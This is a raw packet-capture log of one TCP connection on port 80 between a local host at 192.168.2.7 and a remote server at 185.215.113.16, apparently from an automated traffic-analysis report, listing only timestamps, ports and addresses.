Dec 6, 2024 22:09:05.459484100 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.460387945 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.460398912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.460439920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.460452080 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.461163044 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.461215019 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.461606979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.461654902 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.462111950 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.462125063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.462161064 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.462169886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.462907076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.462959051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.463381052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.463428020 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.463742018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.463785887 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.464200020 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.464251995 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.464579105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.464627028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.465055943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.465105057 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.465559959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.465605974 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.465923071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.465969086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.466571093 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.466619015 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.466909885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.466954947 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.467684984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.467734098 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.467854023 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.467896938 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.468580008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.468633890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.468883991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.468930006 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.469705105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.469750881 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.469873905 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.469919920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.470704079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.470752001 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.470886946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.470930099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.471684933 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.471756935 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.472012997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.472069979 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.472691059 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.472743988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.472873926 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.472917080 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.473670959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.473721027 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.473845005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.473890066 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.474666119 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.474709988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.639990091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.640003920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.640014887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.640028000 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.640120983 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.640170097 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.640469074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.640522957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.640944958 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.641057968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.641284943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.641355991 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.641973019 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.642038107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.646205902 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.646274090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.646398067 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.646450996 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.646543026 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.646601915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.646939993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.646992922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.647547960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.647615910 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.647866964 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.647929907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.648688078 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.648758888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.648994923 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.649049997 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.649614096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.649682999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.649822950 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.649868965 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.650329113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.650391102 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.650691986 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.650744915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.651336908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.651397943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.653271914 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.653357029 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.656579018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.656590939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.656601906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.656615019 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.656665087 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.656713009 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.656733036 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.656774998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.657270908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.657342911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.657984018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.658046007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.658344984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.658391953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.659172058 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.659219027 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.659320116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.659368038 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.660001993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.660049915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.660368919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.660418034 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.661201954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.661252022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.661550045 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.661595106 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.662201881 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.662249088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.662388086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.662437916 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.663214922 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.663265944 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.663531065 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.663578033 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.664303064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.664343119 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.664490938 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.664535046 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.665162086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.665209055 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.665348053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.665390015 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.666167021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.666218042 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.666318893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.666363955 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.667258024 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.667306900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.667629957 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.667690992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.668261051 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.668306112 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.668602943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.668647051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.669296026 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669337988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.669579029 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669590950 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669604063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669631004 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.669641018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669653893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669666052 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.669689894 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.669769049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.669814110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.670084953 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.670135975 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.670766115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.670829058 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.671013117 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.671070099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.671782970 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.671844959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.672045946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.672100067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.672911882 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.672967911 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.673156977 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.673207045 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.673873901 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.673923016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.674084902 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.674139023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.674860954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.674911022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.675111055 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.675163031 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.675884008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.675934076 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.676132917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.676181078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.676911116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.676963091 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.677138090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.677189112 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.677922964 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.677972078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.678143024 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.678189993 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.679023027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.679079056 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.679195881 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.679239035 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.680064917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.680114985 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.680319071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.680372953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.681040049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.681092978 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.681265116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.681314945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.682018995 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.682073116 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.682241917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.682291985 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.683074951 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.683126926 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.683259010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.683307886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.684113979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.684165955 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.684339046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.684400082 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.685138941 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.685187101 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.685374975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.685425997 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.686136007 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.686188936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.686371088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.686424017 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.687115908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.687166929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.687336922 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.687385082 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.688183069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.688237906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.688405991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.688453913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.689284086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.689342976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.689512014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.689562082 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.690217018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.690274954 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.690442085 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.690495968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.691308022 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.691379070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.691461086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.691512108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.692357063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.692413092 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.692574978 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.692629099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.693250895 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.693300962 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.693474054 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.693521976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.694283009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.694331884 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.694546938 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.694592953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.695373058 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.695422888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.695606947 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.695655107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.696461916 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.696511984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.841918945 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.842010975 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.842104912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.842153072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.842554092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.842608929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.842998981 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.843050957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.843429089 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.843482018 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.843861103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.843921900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.844336987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.844388008 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.850960970 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.851074934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.851219893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.851284981 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.851670980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.851736069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.852109909 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.852166891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.856110096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.856183052 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.857506990 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.857525110 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.857537985 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.857551098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.857559919 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.857568979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.857583046 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.857630014 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.858194113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.858239889 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.858534098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.858581066 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.858886003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.858928919 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.859683990 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.859730959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.859883070 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.859931946 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.860723019 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.860770941 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.860896111 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.860945940 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.861790895 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.861835957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.861964941 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.862014055 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.862766027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.862813950 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.863009930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.863059044 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.863719940 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.863780975 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.863887072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.863933086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.864793062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.864840984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.864978075 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.865030050 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.865683079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:05.865729094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:05.866020918 CET	80	49830	185.215.113.16	192.168.2.7
